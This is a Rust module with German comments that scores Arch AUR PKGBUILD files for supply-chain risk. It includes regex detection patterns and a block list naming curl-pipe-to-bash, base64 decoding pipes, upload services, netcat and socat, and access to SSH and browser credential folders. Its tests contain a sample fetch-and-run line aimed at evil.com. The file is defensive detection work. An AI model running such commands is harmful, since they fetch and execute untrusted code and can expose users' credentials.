use anyhow::{Context, Result}; use regex::Regex; use std::collections::HashSet; use std::path::Path; use tracing::{debug, trace, warn}; /// Score-Kategorien für das Trust-Rating #[derive(Debug, Clone)] pub struct TrustScore { pub overall: u32, // 0-100 (100 = vertrauenswürdig) pub categories: Vec, pub warnings: Vec, pub critical_findings: Vec, } #[derive(Debug, Clone)] pub struct ScoreCategory { pub name: String, pub score: u32, // 0-100 pub weight: f32, pub description: String, } #[derive(Debug, Clone)] pub enum CriticalFinding { RemoteCodeExecution(String), // Befehl der gefunden wurde CredentialExfiltration(String), PersistenceMechanism(String), ObfuscatedScript(String), SuspiciousNetworkCall(String), OrphanTakeover { original: String, new_maintainer: String }, } /// Konfiguration für Heuristiken pub struct TrustScorer { suspicious_patterns: Vec, trusted_domains: HashSet, blocklisted_commands: Vec, } struct SuspiciousPattern { pattern: Regex, penalty: u32, description: String, critical: bool, } impl TrustScorer { pub fn new() -> Result { let mut scorer = TrustScorer { suspicious_patterns: Vec::new(), trusted_domains: Self::default_trusted_domains(), blocklisted_commands: Vec::new(), }; scorer.compile_patterns()?; Ok(scorer) } fn compile_patterns(&mut self) -> Result<()> { // KRITISCHE PATTERNS (sofortiger Alarm) let critical_patterns = vec![ // npm/bun install mit verdächtigen Paketen (r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true), // Download + Ausführen (r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true), (r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true), // Obfuscation (r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true), (r"(?i)eval\s*\$", 90, "Eval mit Variablen", true), (r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true), // Netzwerk-Exfiltration (r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true), // System-Persistenz (r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false), (r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false), // Browser/Credential-Zugriff (r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false), // eBPF (r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false), ]; for (pattern, penalty, desc, critical) in critical_patterns { let regex = Regex::new(pattern) .with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?; self.suspicious_patterns.push(SuspiciousPattern { pattern: regex, penalty, description: desc.to_string(), critical, }); } // Blockliste von Kommandos (soweit Regex-technisch möglich) self.blocklisted_commands = vec![ Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(), Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(), ]; Ok(()) } fn default_trusted_domains() -> HashSet { let mut domains = HashSet::new(); domains.insert("github.com".to_string()); domains.insert("gitlab.com".to_string()); domains.insert("salsa.debian.org".to_string()); domains.insert("codeberg.org".to_string()); domains.insert("sourceforge.net".to_string()); domains.insert("kernel.org".to_string()); domains.insert("gnu.org".to_string()); domains.insert("apache.org".to_string()); domains.insert("mozilla.org".to_string()); domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden domains.insert("crates.io".to_string()); domains.insert("pypi.org".to_string()); domains.insert("archlinux.org".to_string()); domains } /// Analysiert einen PKGBUILD-Inhalt pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore { let mut score = 100u32; let mut categories = Vec::new(); let mut warnings = Vec::new(); let mut critical_findings = Vec::new(); // 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script) let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content); categories.push(ScoreCategory { name: "Shell-Script Sicherheit".to_string(), score: shell_score, weight: 0.40, description: "Analyse von PKGBUILD als Shell-Script".to_string(), }); warnings.extend(shell_warnings); critical_findings.extend(shell_critical); score = score.saturating_sub(100 - shell_score); // 2. Source-URL Verifizierung let (url_score, url_warnings) = self.analyze_source_url(source_url); categories.push(ScoreCategory { name: "Source-URL Vertrauen".to_string(), score: url_score, weight: 0.20, description: "Prüfung der Herkunft des Source-Codes".to_string(), }); warnings.extend(url_warnings); score = score.saturating_sub((100 - url_score) / 3); // 3. Checksum-Qualität let (checksum_score, checksum_warnings) = self.analyze_checksums(content); categories.push(ScoreCategory { name: "Checksum Verifizierung".to_string(), score: checksum_score, weight: 0.20, description: "Qualität und Vollständigkeit der Prüfsummen".to_string(), }); warnings.extend(checksum_warnings); score = score.saturating_sub((100 - checksum_score) / 3); // 4. Maintainer-Heuristiken let (maint_score, maint_warnings) = self.analyze_maintainer_info(content); categories.push(ScoreCategory { name: "Maintainer-Vertrauen".to_string(), score: maint_score, weight: 0.20, description: "Heuristiken zum Maintainer-Account".to_string(), }); warnings.extend(maint_warnings); score = score.saturating_sub((100 - maint_score) / 3); // Gewichteten Score berechnen let weighted_score: f32 = categories.iter() .map(|c| c.score as f32 * c.weight) .sum(); TrustScore { overall: weighted_score.round() as u32, categories, warnings, critical_findings, } } fn analyze_shell_script(&self, content: &str) -> (u32, Vec, Vec) { let mut score = 100u32; let mut warnings = Vec::new(); let mut critical = Vec::new(); for pattern in &self.suspicious_patterns { if pattern.pattern.is_match(content) { let captures: Vec<_> = pattern.pattern.find_iter(content).collect(); for cap in captures { let ctx_start = cap.start().saturating_sub(30); let ctx_end = (cap.end() + 30).min(content.len()); let context = &content[ctx_start..ctx_end]; let context_clean = context.replace('\n', "\\n"); if pattern.critical { critical.push(CriticalFinding::RemoteCodeExecution(format!( "{} (Kontext: ...{}...)", pattern.description, context_clean ))); score = score.saturating_sub(pattern.penalty); } else { warnings.push(format!( "{}: {}", pattern.description, context_clean )); score = score.saturating_sub(pattern.penalty / 2); } } } } // Blocklisted Commands for cmd_regex in &self.blocklisted_commands { if let Some(mat) = cmd_regex.find(content) { warnings.push(format!( "Potentiell gefährlicher Befehl erkannt: {}", &content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())] )); score = score.saturating_sub(10); } } // Prozentuale Bewertung (score.min(100), warnings, critical) } fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec) { let mut score = 100u32; let mut warnings = Vec::new(); let url = match url { Some(u) => u, None => { warnings.push("Keine Source-URL gefunden".to_string()); return (50, warnings); } }; // HTTPS check if !url.starts_with("https://") { warnings.push("Source-URL verwendet kein HTTPS".to_string()); score -= 20; } // Domain check let domain = url.split('/').nth(2).unwrap_or(""); let domain_clean = domain.strip_prefix("www.").unwrap_or(domain); if !self.trusted_domains.contains(domain_clean) { warnings.push(format!( "Domain '{}' ist nicht in der Trust-Liste", domain_clean )); score -= 15; } // URL Shortener / Pastebin checks if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly") || url.contains("t.co") || url.contains("short.link") { warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string()); score -= 50; } (score.max(0), warnings) } fn analyze_checksums(&self, content: &str) -> (u32, Vec) { let mut score = 100u32; let mut warnings = Vec::new(); // Prüfe auf SHA256/SHA512 (gut) let has_sha256 = content.contains("sha256sums") || content.contains("sha256"); let has_sha512 = content.contains("sha512sums") || content.contains("sha512"); let has_md5 = content.contains("md5sums") || content.contains("md5"); let has_skip = content.contains("SKIP") || content.contains("skip"); if has_sha256 || has_sha512 { score += 10; } if has_md5 && !has_sha256 && !has_sha512 { warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string()); score -= 30; } if has_skip { warnings.push("Checksummen werden übersprungen (SKIP)".to_string()); score -= 40; } if !has_sha256 && !has_sha512 && !has_md5 && !has_skip { warnings.push("Keine Checksummen definiert".to_string()); score -= 50; } (score.max(0).min(100), warnings) } fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec) { // Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen // In einer erweiterten Version würde dies die AUR-RPC API nutzen let mut score = 80u32; // Neutral let mut warnings = Vec::new(); // Prüfe auf "Contributor" vs "Maintainer" if !content.contains("# Maintainer:") { if content.contains("# Contributor:") { warnings.push("Nur Contributor, kein Maintainer definiert".to_string()); score -= 10; } } (score.max(0).min(100), warnings) } /// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar) pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore { // Minimale Analyse basierend auf pacman -Qi Ausgabe let mut warnings = Vec::new(); if pkg_info.contains("AUR") || pkg_info.contains("foreign") { warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string()); } TrustScore { overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD categories: vec![], warnings, critical_findings: vec![], } } } #[cfg(test)] mod tests { use super::*; #[test] fn test_npm_install_detection() { let scorer = TrustScorer::new().unwrap(); let malicious_pkgbuild = r#" pkgname=test-malicious pkgver=1.0 pkgrel=1 build() { npm install atomic-lockfile } "#; let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None); assert!(!result.critical_findings.is_empty()); assert!(result.overall < 50); } #[test] fn test_curl_pipe_bash_detection() { let scorer = TrustScorer::new().unwrap(); let bad_pkgbuild = r#" pkgname=test-bad pkgver=1.0 prepare() { curl -s https://evil.com/install.sh | bash } "#; let result = scorer.analyze_pkgbuild(bad_pkgbuild, None); assert!(!result.critical_findings.is_empty()); } #[test] fn test_legitimate_pkgbuild() { let scorer = TrustScorer::new().unwrap(); let good_pkgbuild = r#" pkgname=hello pkgver=2.12 pkgrel=1 source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz) sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517') build() { cd "$pkgname-$pkgver" ./configure --prefix=/usr make } "#; let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz")); assert!(result.overall > 70); assert!(result.critical_findings.is_empty()); } }